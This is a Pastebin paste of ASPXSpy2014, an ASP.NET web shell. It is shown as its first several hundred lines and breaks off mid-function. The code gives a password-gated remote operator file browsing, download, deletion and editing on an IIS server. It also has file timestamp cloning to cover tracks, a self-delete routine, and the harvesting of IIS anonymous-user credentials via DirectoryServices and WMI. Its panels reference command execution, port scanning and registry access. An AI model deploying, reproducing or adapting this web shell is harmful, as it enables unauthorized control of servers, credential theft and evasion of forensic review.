cephurs

wsoshell.aspx

Jun 5th, 2020
557
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <%@ Page Language="C#" Debug="false" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
  2. <%@ import Namespace="System.IO"%>
  3. <%@ import Namespace="System.IO.Compression"%>
  4. <%@ import Namespace="System.Diagnostics"%>
  5. <%@ import Namespace="System.Data"%>
  6. <%@ import Namespace="System.Data.OleDb"%>
  7. <%@ import Namespace="System.Data.Common"%>
  8. <%@ Import Namespace="System.Data.SqlClient"%>
  9. <%@ import Namespace="System.Management"%>
  10. <%@ import Namespace="Microsoft.Win32"%>
  11. <%@ import Namespace="System.Net" %>
  12. <%@ import Namespace="System.Net.Sockets" %>
  13. <%@ import Namespace="System.Reflection"%>
  14. <%@ import Namespace="System.Runtime.InteropServices"%>
  15. <%@ import Namespace="System.DirectoryServices"%>
  16. <%@ import Namespace="System.ServiceProcess"%>
  17. <%@ import Namespace="System.Text.RegularExpressions"%>
  18. <%@ Import Namespace="System.Security"%>
  19. <%@ Import Namespace="System.Security.Permissions"%>
  20. <%@ Import Namespace="System.Threading"%>
  21. <%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  22. <%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  23. <%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  24. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  25. <script runat="server">
  26.     /*
  27.     Thanks Snailsor,FuYu,BloodSword,Cnqing,Dream
  28.     Code by Bin
  29.     Make in China
  30.     Blog: http://www.rootkit.net.cn
  31.     E-mail : master@rootkit.net.cn
  32.    
  33.     Mod by zcgonvh,last modified on 2014-01-23
  34.     Blog: http://z-cg.com
  35.     Bug or idea: zcgonvh@rootkit.net.cn
  36.     */
  37.     public const string Version="ASPXSpy2014";
  38.     public const string Password="ee16285c431e985ff8747c54471ac2ef";    //admin
  39.     private const string DomainUserName="administrator";//change it if domain user name not equals "administrator"
  40.     private const string PMCacheName=Version+"PMList";
  41.     private int CssC=1;
  42.     private DbConnection conn=null;
  43.     private DbCommand comm=null;
  44.     protected void Page_Load(object sender,EventArgs e)
  45.     {
  46.         JscriptSender(this);
  47.         if (!Bin_CheckLogin()){return;}
  48.         if(IsPostBack)
  49.         {
  50.             zcg_GetDriver();
  51.             zcg_SetHeaderInfo();
  52.       string Bin_Target=Request["__EVENTTARGET"];
  53.             string Bin_Path=Request["__File"];
  54.             if(Bin_Target!="")
  55.             {try{
  56.                 switch(Bin_Target)
  57.                 {
  58.                     case "Bin_Listdir":
  59.                         Bin_File(Bin_FromBase64(Bin_Path));
  60.                         break;
  61.                     case "Bin_Deldir":
  62.                         Bin_Deldir(Bin_FromBase64(Bin_Path));
  63.                         break;
  64.                     case "Bin_Createfile":
  65.                         Bin_CreateFile(Bin_Path);
  66.                         break;
  67.                     case "Bin_Editfile":
  68.                         Bin_CreateFile(Bin_Path);
  69.                         break;
  70.                     case "Bin_Createdir":
  71.                         Bin_CreateDir(Bin_Path);
  72.                         break;
  73.                     case "Bin_CloneTime":
  74.                         Bin_CloneTime(Bin_Path);
  75.                         break;
  76.                     case "Bin_DownFile":
  77.                         Bin_DownFile(Bin_FromBase64(Bin_Path));
  78.                         break;
  79.                     case "Bin_DelFile":
  80.                         Bin_DelFile(Bin_Path);
  81.                         break;
  82.                     case "Bin_Regread":
  83.                         Bin_ShowReg(Bin_FromBase64(Bin_Path));
  84.                         break;
  85.                     case "Bin_KillMe":
  86.                         Bin_KillMe();
  87.                         break;
  88.                     case "zcg_KillProcess":
  89.                         zcg_KillProcess(Bin_Path);
  90.                         break;
  91.                     case "zcg_ListADS":
  92.                         zcg_txbADSPath.Value=Bin_FromBase64(Bin_Path);
  93.                         zcg_EnumADSChildrenAndListProperties(Bin_FromBase64(Bin_Path),zcg_txbADSUser.Value,zcg_txbADSPass.Value,zcg_txbADSType.Value);
  94.                         break;
  95.                     case "zcg_ClosePM":
  96.                         zcg_ClosePM(Bin_FromBase64(Bin_Path));
  97.                         break;
  98.                 }
  99.                 if(Bin_Target.StartsWith("zcg_Rename"))
  100.                 {
  101.                     zcg_Rename(Bin_FromBase64(Bin_Target.Replace("zcg_Rename","")),Bin_Path);
  102.                 }
  103.                 else if(Bin_Target.StartsWith("Bin_CFile"))
  104.                 {
  105.                     Bin_CopyFile(Bin_FromBase64(Bin_Target.Replace("Bin_CFile","")),Bin_Path);
  106.                 }
  107.             }catch(Exception ex){zcg_ShowError(ex);}}
  108.         }
  109.         else
  110.         {Bin_Main();}
  111.     }
  112.     void IHttpHandler.ProcessRequest(HttpContext context)
  113.     {
  114.         try{base.ProcessRequest(context);}
  115.         catch(SecurityException ex){context.Response.Clear();context.Response.Write("AspxSpy request low-trust minimum,Exception message: "+ex.Message);}
  116.         catch(Exception ex){context.Response.Write(String.Format("Unhandled exception: {0} <pre><xmp>\r\nmessage:\r\n {1} \r\ntrace:\r\n {2} \r\n string:\r\n {3}</xmp></pre>",ex.GetType(),ex.Message,ex.StackTrace,ex));}
  117.     }
  118.     private void Hide_Div()
  119.     {
  120.         Bin_Div_Process.Visible = false;
  121.         Bin_Div_File.Visible = false;
  122.         Bin_Div_Cmd.Visible = false;
  123.         Bin_Div_Reg.Visible = false;
  124.         Bin_Div_PortScan.Visible = false;
  125.         Bin_Div_Data.Visible = false;
  126.         Bin_Div_PortMap.Visible = false;
  127.         Bin_Div_Edit.Visible = false;
  128.         Bin_Div_Search.Visible = false;
  129.         Bin_Div_WmiTools.Visible = false;
  130.         zcg_div_ADSViewer.Visible=false;
  131.         zcg_div_Plugin.Visible=false;
  132.     }
  133.     private bool Bin_CheckLogin()
  134.     {
  135.         if(Request.Cookies[Version]==null)
  136.         {
  137.             Bin_Login();
  138.             return false;
  139.         }
  140.         else
  141.         {
  142.             if (Request.Cookies[Version].Value!=Password)
  143.             {
  144.                 Bin_Login();
  145.                 return false;
  146.             }
  147.             else
  148.             {
  149.                 return true;
  150.             }
  151.         }
  152.     }
  153.     private void Bin_Login()
  154.     {
  155.         Bin_Div_Login.Visible=true;
  156.         Bin_Div_Content.Visible=false;
  157.     }
  158.     protected void Bin_Button_Logout_Click(object sender,EventArgs e)
  159.     {
  160.         Session.Abandon();
  161.         Response.Cookies.Add(new HttpCookie(Version,null));
  162.         Bin_Login();
  163.     }
  164.     private void Bin_Main()
  165.     {
  166.         zcg_SetHeaderInfo();
  167.         zcg_GetDriver();
  168.         if (Bin_TextBox_Path.Value=="")
  169.         {          
  170.             Bin_TextBox_Path.Value=Bin_PathBuild(Server.MapPath("."));
  171.         }
  172.         Bin_File(Bin_TextBox_Path.Value);
  173.     }
  174.     private void zcg_SetHeaderInfo()
  175.     {
  176.         Bin_Div_Content.Visible=true;
  177.         Bin_Div_Login.Visible=false;
  178.         Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
  179.         Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
  180.         Bin_Button_KillMe.Attributes["onClick"]="if(confirm('Are you sure delete ASPXSPY?')){Bin_PostBack('Bin_KillMe','');};";
  181.         Bin_Span_Sname.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")"+zcg_CheckPermission();
  182.         Bin_Span_FrameVersion.InnerHtml="Framework Ver : "+Environment.Version.ToString();
  183.     }
  184.     private string zcg_CheckPermission()
  185.     {
  186.         string s="&nbsp;&nbsp;Host Trust Level:&nbsp;&nbsp;<span style='color:red;'>{0}</span>&nbsp;&nbsp;IsFull-Trust:&nbsp;&nbsp;<span style='color:red;'>{1}</span>&nbsp;&nbsp;User:&nbsp&nbsp;<span style='color:red;'>{2}</span>";
  187.         string u=zcg_GetUserName();
  188.         try{(new PermissionSet(PermissionState.Unrestricted)).Demand();return string.Format(s,GetTrustLevel(),true,u);}
  189.         catch{return string.Format(s,GetTrustLevel(),false,u);}
  190.     }
  191.     private string zcg_GetUserName()
  192.     {
  193.         try{return System.Security.Principal.WindowsIdentity.GetCurrent().Name;}catch{return "Unknown -- No permission";}
  194.     }
  195.     private string GetTrustLevel()
  196.     {
  197.         try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Unrestricted).Demand();return "Full";}catch{}
  198.         try{new AspNetHostingPermission(AspNetHostingPermissionLevel.High).Demand();return "High";}catch{}
  199.         try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Medium).Demand();return "Medium";}catch{}
  200.         try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Low).Demand();return "Low";}catch{}
  201.         try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Minimal).Demand();return "Minimal";}catch{}
  202.         try{new AspNetHostingPermission(AspNetHostingPermissionLevel.None).Demand();return "None";}catch{}
  203.         return "Unknown";
  204.     }
  205.     private void zcg_GetDriver()
  206.     {
  207.         string[] drivers=null;
  208.         try{drivers=Directory.GetLogicalDrives();}
  209.         catch{string drs="";
  210.             for(int i=0x41;i<0x5b;i++)
  211.             {
  212.                 string ds=new string((new char[]{(char)i,':','\\'}));
  213.                 try
  214.                 {
  215.                     DriveInfo di=new DriveInfo(ds);
  216.                     if(di.DriveType!=DriveType.NoRootDirectory){drs+=ds+"|";}
  217.                 }catch{}
  218.                 finally{drivers=drs.Split(new char[]{'|'},(StringSplitOptions)1);}
  219.             }}
  220.         Bin_Span_Drv.InnerHtml="";
  221.         for(int i=0;i<drivers.Length;i++)
  222.         {
  223.             Bin_Span_Drv.InnerHtml+=String.Format("<a href=\"javascript:Bin_PostBack('Bin_Listdir','{0}')\">{1}</a> | ",Bin_ToBase64(drivers[i]),Bin_Drvbuild(drivers[i]));
  224.         }
  225.     }
  226.     private string Bin_PathBuild(string path)
  227.     {
  228.         if(!path.EndsWith(@"\")){path+=@"\";}return path;
  229.     }
  230.     private string Bin_Drvbuild(string instr)
  231.     {
  232.         DriveInfo di=new DriveInfo(instr);
  233.         return String.Format("{0}({1}:)",di.DriveType,instr[0]);
  234.     }
  235.     private string Bin_ToBase64(string instr)
  236.     {
  237.         byte[] tmp=Encoding.UTF8.GetBytes(instr);
  238.         return Convert.ToBase64String(tmp);
  239.     }
  240.     private string Bin_FromBase64(string instr)
  241.     {
  242.         byte[] tmp=Convert.FromBase64String(instr);
  243.         return Encoding.UTF8.GetString(tmp);
  244.     }
  245.     private TableRow zcg_GetTableRow()
  246.     {
  247.         TableRow tr=new TableRow();
  248.         zcg_SetControlAttribute(tr);
  249.         return tr;
  250.     }
  251.     private void zcg_SetControlAttribute(WebControl ctl)
  252.     {
  253.         string bg=Bin_Css();
  254.         ctl.Attributes["onmouseover"]="this.className='focus';";
  255.         ctl.CssClass=bg;
  256.         ctl.Attributes["onmouseout"]="this.className='"+bg+"';";
  257.     }
  258.     private void Bin_File(string path)
  259.     {
  260.         try{
  261.         Hide_Div();
  262.         Bin_Div_File.Visible=true;
  263.         Bin_H2_Title.InnerText="File Manager >>";
  264.         Bin_TextBox_Path.Value=Bin_PathBuild(path);
  265.         path=(path.EndsWith("\\")&&(!path.EndsWith(":\\")))?path.TrimEnd('\\'):path;
  266.         DirectoryInfo Bin_dir=new DirectoryInfo(path);
  267.         try{
  268.         if(Directory.GetParent(path)!=null)
  269.         {
  270.             TableRow p=zcg_GetTableRow();
  271.             for(int i=1;i<6;i++)
  272.             {
  273.                 TableCell pc=new TableCell();
  274.                 if(i==1)
  275.                 {
  276.                     pc.Width=Unit.Parse("2%");
  277.                     pc.Text="0";
  278.                 }
  279.                 if(i==2)
  280.                 {
  281.                     pc.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(Directory.GetParent(path).ToString())+"')\">Parent Directory</a>";
  282.                 }
  283.                 p.Cells.Add(pc);
  284.                 Bin_Table_File.Rows.Add(p);
  285.             }
  286.         }}catch{}
  287.         try
  288.         {
  289.             int dir_c=0;
  290.             foreach(DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
  291.             {
  292.                 dir_c++;
  293.                 TableCell tc=new TableCell();
  294.                 tc.Width=Unit.Parse("2%");
  295.                 tc.Text="0";
  296.                 TableRow tr=zcg_GetTableRow();
  297.                 tr.Cells.Add(tc);
  298.                 TableCell dirname=new TableCell();
  299.                 dirname.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"')\">"+Bin_folder.Name+"</a>";
  300.                 tr.Cells.Add(dirname);
  301.                 TableCell dirtime=new TableCell();
  302.                 dirtime.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  303.                 tr.Cells.Add(dirtime);
  304.                 Bin_Table_File.Rows.Add(tr);
  305.                 TableCell dirsize=new TableCell();
  306.                 dirsize.Text="--";
  307.                 tr.Cells.Add(dirsize);
  308.                 Bin_Table_File.Rows.Add(tr);
  309.                 TableCell diraction=new TableCell();
  310.                 diraction.Text="<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){Bin_PostBack('Bin_Deldir','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"')};\">Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','"+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('zcg_Rename"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"',filename);} \">Rename</a>";
  311.                 tr.Cells.Add(diraction);
  312.                 Bin_Table_File.Rows.Add(tr);
  313.             }
  314.             TableRow intr=new TableRow();
  315.             intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  316.             intr.Attributes["bgcolor"]="#dddddd";
  317.             TableCell intc=new TableCell();
  318.             intc.Attributes["colspan"]="6" ;
  319.             intc.Attributes["height"]="5";
  320.             intr.Cells.Add(intc);
  321.             Bin_Table_File.Rows.Add(intr);
  322.             int file_c=0;
  323.             foreach(FileInfo Bin_Files in Bin_dir.GetFiles())
  324.             {
  325.                 file_c++;
  326.                 TableRow tr=zcg_GetTableRow();
  327.                 TableCell tc=new TableCell();
  328.                 tc.Width=Unit.Parse("2%");
  329.                 tc.Text="<input type=\"checkbox\" value=\"0\" name=\""+Bin_ToBase64(Bin_Files.Name)+"\">";
  330.                 tr.Cells.Add(tc);
  331.                 TableCell filename=new TableCell();
  332.                 if(Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
  333.                 {
  334.                     string url=Request.Url.ToString();
  335.                     filename.Text="<a href=\""+Bin_Files.FullName.Replace(Request.PhysicalApplicationPath,url.Substring(0,url.IndexOf('/',8)+1)).Replace("\\","/")+"\" target=\"_blank\">"+Bin_Files.Name+"</a>";
  336.                 }
  337.                 else
  338.                 {
  339.                     filename.Text=Bin_Files.Name;
  340.                 }
  341.                 TableCell filetime=new TableCell();
  342.                 filetime.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  343.                 TableCell filesize=new TableCell();
  344.                 filesize.Text=Bin_FileSize(Bin_Files.Length);
  345.                 TableCell action=new TableCell();
  346.                 action.Text="<a href=\"#\" onclick=\"Bin_PostBack('Bin_DownFile','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"')\">Down</a> | <a href='#' onclick=\"var filename=prompt('Please input the new path(full path):','"+Bin_TextBox_Path.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"',filename);} \">Copy</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','"+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('zcg_Rename"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"',filename);} \">Rename</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_CloneTime','"+Bin_Files.Name+"')\">Time</a> ";
  347.                 tr.Cells.Add(filename);
  348.                 tr.Cells.Add(filetime);
  349.                 tr.Cells.Add(filesize);
  350.                 tr.Cells.Add(action);
  351.                 Bin_Table_File.Rows.Add(tr);
  352.             }
  353.             TableRow cktr=zcg_GetTableRow();
  354.             for(int i=1;i<4;i++)
  355.             {
  356.                 TableCell cktd=new TableCell();
  357.                 if(i==1)
  358.                 {
  359.                     cktd.Text="<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>";
  360.                 }
  361.                 if(i==2)
  362.                 {
  363.                     cktd.Text="<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')){Bin_PostBack('Bin_DelFile',d_file)};}\">Delete selected</a>";
  364.                 }
  365.                 if(i==3)
  366.                 {
  367.                     cktd.ColumnSpan=4;
  368.                     cktd.Style.Add("text-align","right");
  369.                     cktd.Text=dir_c+" directories/ "+file_c+" files";
  370.                 }
  371.                 cktr.Cells.Add(cktd);
  372.             }
  373.             Bin_Table_File.Rows.Add(cktr);
  374.         }
  375.         catch(Exception err)
  376.         {
  377.             zcg_ShowError(err);
  378.         }}catch(Exception ex){zcg_ShowError(ex);}
  379.     }
  380.     private string Bin_Css()
  381.     {
  382.         CssC++;
  383.         if(CssC % 2==0)
  384.         {
  385.             return "alt1";
  386.         }
  387.         else
  388.         {
  389.             return "alt2";
  390.         }
  391.     }
  392.     private void Bin_Deldir(string dirstr)
  393.     {
  394.         try
  395.         {
  396.             Directory.Delete(dirstr,true);
  397.             Bin_Msg("Directory delete success !");
  398.         }
  399.         catch(Exception error)
  400.         {
  401.             zcg_ShowError(error);
  402.         }
  403.         Bin_File(Directory.GetParent(dirstr).ToString());
  404.     }
  405.     private void zcg_Rename(string source,string dire)
  406.     {
  407.         try
  408.         {
  409.             dire=Path.Combine(Bin_TextBox_Path.Value,dire);
  410.             Directory.Move(source,dire);
  411.             Bin_Msg("Rename Success !");
  412.         }
  413.         catch(Exception error)
  414.         {
  415.             Bin_Msg(error.Message);
  416.         }
  417.         Bin_File(Bin_TextBox_Path.Value);
  418.     }
  419.     private void Bin_CopyFile(string spath,string dpath)
  420.     {
  421.         try
  422.         {
  423.             File.Copy(spath,dpath);
  424.             Bin_Msg("File Copy Success !");
  425.         }
  426.         catch(Exception error)
  427.         {
  428.             zcg_ShowError(error);
  429.         }
  430.         Bin_File(Bin_TextBox_Path.Value);
  431.     }
  432.     private void Bin_CreateDir(string path)
  433.     {
  434.         try
  435.         {
  436.             Directory.CreateDirectory(Bin_TextBox_Path.Value+path);
  437.             Bin_Msg("Directory created success !");
  438.         }
  439.         catch(Exception error)
  440.         {
  441.             zcg_ShowError(error);
  442.         }
  443.         Bin_File(Bin_TextBox_Path.Value);
  444.     }
  445.     private void Bin_CreateFile(string path)
  446.     {
  447.         if(Request["__EVENTTARGET"]=="Bin_Editfile" || Request["__EVENTTARGET"]=="Bin_Createfile")
  448.         {
  449.             foreach(ListItem item in Bin_List_Code.Items)
  450.             {
  451.                 if(item.Selected)
  452.                 {
  453.                     item.Selected=false;
  454.                 }
  455.             }
  456.         }
  457.         Bin_H2_Title.InnerText="Create/ Edit File >>";
  458.         Hide_Div();
  459.         Bin_Div_Edit.Visible=true;
  460.         if(path.IndexOf(":")< 0)
  461.         {
  462.             Bin_TextBox_Fp.Value=Bin_TextBox_Path.Value+path;
  463.         }
  464.         else
  465.         {
  466.             Bin_TextBox_Fp.Value=path;
  467.         }
  468.         if(File.Exists(Bin_TextBox_Fp.Value))
  469.         {
  470.             StreamReader sr;
  471.             if(Bin_List_Code.SelectedItem.Text=="UTF-8")
  472.             {
  473.                 sr=new StreamReader(Bin_TextBox_Fp.Value,Encoding.UTF8);
  474.             }
  475.             else
  476.             {
  477.                 sr=new StreamReader(Bin_TextBox_Fp.Value,Encoding.Default);
  478.             }
  479.             Bin_Textarea_Edit.InnerText=sr.ReadToEnd();
  480.             sr.Close();
  481.         }
  482.         else
  483.         {
  484.             Bin_Textarea_Edit.InnerText="";
  485.         }
  486.     }
  487.     private void Bin_DownFile(string path)
  488.     {
  489.         FileStream fs=null;
  490.         byte[] buffer=new byte[0x1000];
  491.         int count=0;
  492.         try{
  493.         FileInfo fi=new FileInfo(path);
  494.         fs=fi.OpenRead();
  495.         Response.Clear();
  496.         Response.ClearHeaders();
  497.         Response.Buffer=false;
  498.         this.EnableViewState=false;
  499.         Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(fi.Name,System.Text.Encoding.UTF8));
  500.         Response.AddHeader("Content-Length",fi.Length.ToString());
  501.         Response.ContentType="application/octet-stream";
  502.         count=fs.Read(buffer,0,0x1000);
  503.         while(count>0)
  504.         {
  505.             Response.OutputStream.Write(buffer,0,count);
  506.             Response.Flush();
  507.             count=fs.Read(buffer,0,0x1000);
  508.         }
  509.         Page.Response.Flush();
  510.         Response.End();
  511.         }catch(Exception ex){zcg_ShowError(ex);}
  512.         finally{if(fs!=null){fs.Close();}}
  513.     }
  514.     private void Bin_DelFile(string path)
  515.     {
  516.         try
  517.         {
  518.             string[] mydata=path.Split(',');
  519.             for(int i=0;i<mydata.Length-1;i++)
  520.             {
  521.                 File.Delete(Bin_TextBox_Path.Value+Bin_FromBase64(mydata[i]));
  522.             }
  523.             Bin_Msg("File Delete Success !");
  524.         }
  525.         catch(Exception error)
  526.         {
  527.             zcg_ShowError(error);
  528.         }
  529.         Bin_File(Bin_TextBox_Path.Value);
  530.     }
  531.     private void Bin_KillMe()
  532.     {
  533.         try
  534.         {
  535.             File.Delete(Request.PhysicalPath);
  536.             Response.Redirect("http://www.rootkit.net.cn");
  537.         }
  538.         catch(Exception error)
  539.         {
  540.             zcg_ShowError(error);
  541.         }
  542.     }
  543.     private void Bin_CloneTime(string path)
  544.     {
  545.        
  546.         try{
  547.         path=Path.Combine(Bin_TextBox_Path.Value,path);
  548.         Bin_TextBox_Sp.Value=path;
  549.         Bin_TextBox_Dp.Value=Bin_TextBox_Path.Value;
  550.         Bin_TextBox_Sp1.Value=path;
  551.         string Att=File.GetAttributes(Bin_TextBox_Sp.Value).ToString();
  552.         Bin_H2_Title.InnerText="Clone file was last modified time >>";
  553.         Hide_Div();
  554.         Bin_Div_Time.Visible=true;
  555.         if(Att.LastIndexOf("ReadOnly")!=-1)
  556.         {
  557.             Bin_CheckBox_ReadOnly.Checked=true;
  558.         }
  559.         if(Att.LastIndexOf("System")!=-1)
  560.         {
  561.             Bin_CheckBox_System.Checked=true;
  562.         }
  563.         if(Att.LastIndexOf("Hidden")!=-1)
  564.         {
  565.             Bin_CheckBox_Hiddent.Checked=true;
  566.         }
  567.         if(Att.LastIndexOf("Archive")!=-1)
  568.         {
  569.             Bin_CheckBox_Archive.Checked=true;
  570.         }
  571.         Bin_TextBox_Creation.Value=File.GetCreationTimeUtc(Bin_TextBox_Sp1.Value).ToString();
  572.         Bin_TextBox_LastWrite.Value=File.GetLastWriteTimeUtc(Bin_TextBox_Sp1.Value).ToString();
  573.         Bin_TextBox_LastAccess.Value=File.GetLastAccessTimeUtc(Bin_TextBox_Sp1.Value).ToString();
  574.         }catch(Exception ex){zcg_ShowError(ex);}
  575.     }
  576.     private String Bin_FileSize(Int64 fileSize)
  577.     {
  578.         if(fileSize<0)
  579.         {
  580.             throw new ArgumentOutOfRangeException("fileSize");
  581.         }
  582.         else if(fileSize >= 1024 * 1024 * 1024)
  583.         {
  584.             return string.Format("{0:########0.00} G",((Double)fileSize)/(1024 * 1024 * 1024));
  585.         }
  586.         else if(fileSize >= 1024 * 1024)
  587.         {
  588.             return string.Format("{0:####0.00} M",((Double)fileSize)/(1024 * 1024));
  589.         }
  590.         else if(fileSize >= 1024)
  591.         {
  592.             return string.Format("{0:####0.00} K",((Double)fileSize)/ 1024);
  593.         }
  594.         else
  595.         {
  596.             return string.Format("{0} B",fileSize);
  597.         }
  598.     }
  599.     private void Bin_IISSpy()
  600.     {
  601.         string iisstr="IIS://localhost/W3SVC";
  602.         DirectoryEntry mydir=new DirectoryEntry(iisstr);
  603.         foreach(DirectoryEntry child in mydir.Children)
  604.         {
  605.             int tmpi=0;
  606.             if(Int32.TryParse(child.Name.ToString(),out tmpi))
  607.             {
  608.                 DirectoryEntry newdir=new DirectoryEntry(iisstr+"/"+child.Name.ToString());
  609.                 DirectoryEntry dirmsg=newdir.Children.Find("root","IIsWebVirtualDir");
  610.                 TableRow TR=zcg_GetTableRow();
  611.                 TR.Attributes["title"]="Site:"+child.Properties["ServerComment"].Value.ToString();
  612.                 for(int i=1;i<6;i++)
  613.                 {
  614.                     try
  615.                     {
  616.                         TableCell TC_USER=new TableCell();
  617.                         switch(i)
  618.                         {   case 1:
  619.                                 TC_USER.Text=tmpi.ToString();
  620.                                 break;
  621.                             case 2:
  622.                                 TC_USER.Text=dirmsg.Properties["AnonymousUserName"].Value.ToString();
  623.                                 break;
  624.                             case 3:
  625.                                 TC_USER.Text=dirmsg.Properties["AnonymousUserPass"].Value.ToString();
  626.                                 break;
  627.                             case 4:
  628.                                 StringBuilder sb=new StringBuilder();
  629.                                 PropertyValueCollection pc=child.Properties["ServerBindings"];
  630.                                 for (int j=0; j < pc.Count; j++)
  631.                                 {
  632.                                     sb.Append(pc[j].ToString()+"<br>");
  633.                                 }
  634.                                 TC_USER.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
  635.                                 break;
  636.                             case 5:
  637.                                 TC_USER.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(dirmsg.Properties["Path"].Value.ToString())+"')\">"+dirmsg.Properties["Path"].Value.ToString()+"</a>";
  638.                                 break;
  639.                         }
  640.                         TR.Cells.Add(TC_USER);
  641.                     }
  642.                     catch{continue;}
  643.                 }
  644.                 Bin_Table_IISSpy.Controls.Add(TR);
  645.             }
  646.         }
  647.     }
  648.     private void Bin_WMI_IISSpy()
  649.     {
  650.         Regex re=new Regex(@"W3SVC\/(\d+)\/",RegexOptions.IgnoreCase);
  651.         ManagementScope wmiscope=new ManagementScope(@"\\.\root\MicrosoftIISv2");
  652.         wmiscope.Connect();
  653.         ObjectQuery wmiquery=new ObjectQuery("SELECT * FROM IISWebVirtualDirSetting");
  654.         ManagementObjectSearcher wmisearcher=new ManagementObjectSearcher(wmiscope,wmiquery);
  655.         ManagementObjectCollection querycoll=wmisearcher.Get();
  656.         foreach(ManagementObject objmanage in querycoll)
  657.         {
  658.             string siteid=re.Matches(objmanage["Name"].ToString())[0].Groups[1].Value;
  659.             TableRow TR=zcg_GetTableRow();
  660.             for(int i=1;i<6;i++)
  661.             {
  662.                 try
  663.                 {
  664.                     TableCell TC_USER=new TableCell();
  665.                     switch (i)
  666.                     {
  667.                         case 1:
  668.                             TC_USER.Text=siteid;
  669.                             break;
  670.                         case 2:
  671.                             TC_USER.Text=objmanage["AnonymousUserName"].ToString();
  672.                             break;
  673.                         case 3:
  674.                             TC_USER.Text=objmanage["AnonymousUserPass"].ToString();
  675.                             break;
  676.                         case 4:
  677.                             wmiquery=new ObjectQuery("SELECT * from IISWebServerSetting where Name='W3SVC/"+siteid+"'");
  678.                             wmisearcher=new ManagementObjectSearcher(wmiscope,wmiquery);
  679.                             ManagementObjectCollection svrcoll=wmisearcher.Get();
  680.                             foreach(ManagementObject objsvr in svrcoll)
  681.                             {
  682.                                 StringBuilder sb=new StringBuilder();
  683.                                 TR.Attributes["title"]="Site:"+objsvr["ServerComment"];
  684.                                 foreach(ManagementBaseObject objbind in (ManagementBaseObject[])objsvr["ServerBindings"])
  685.                                 {
  686.                                     sb.Append(objbind["IP"].ToString()+":"+objbind["Port"].ToString()+":"+objbind["Hostname"].ToString()+"<br>");
  687.                                 }
  688.                                 TC_USER.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
  689.                             }
  690.                             break;
  691.                         case 5:
  692.                             TC_USER.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(objmanage["Path"].ToString())+"')\">"+objmanage["Path"].ToString()+"</a>";
  693.                             break;
  694.                     }
  695.                     TR.Cells.Add(TC_USER);
  696.                 }
  697.                 catch{continue;}
  698.             }
  699.             Bin_Table_IISSpy.Controls.Add(TR);
  700.         }
  701.     }
  702.     private ManagementObjectCollection Bin_WmiQuery(string @namespace,string query)
  703.     {
  704.         ManagementObjectSearcher QS=new ManagementObjectSearcher(@namespace,query);
  705.         return QS.Get();
  706.     }
  707.     private DataTable zcg_WmiDataTable(string @namespace,string query)
  708.     {
  709.         ManagementObjectSearcher QS=new ManagementObjectSearcher(@namespace,query);
  710.         return zcg_WmiSearcherToDataTable(QS);
  711.     }
  712.     private DataTable zcg_WmiDataTable(string computer,string username,string password,string @namespace,string query)
  713.     {
  714.         ConnectionOptions connection = new ConnectionOptions();
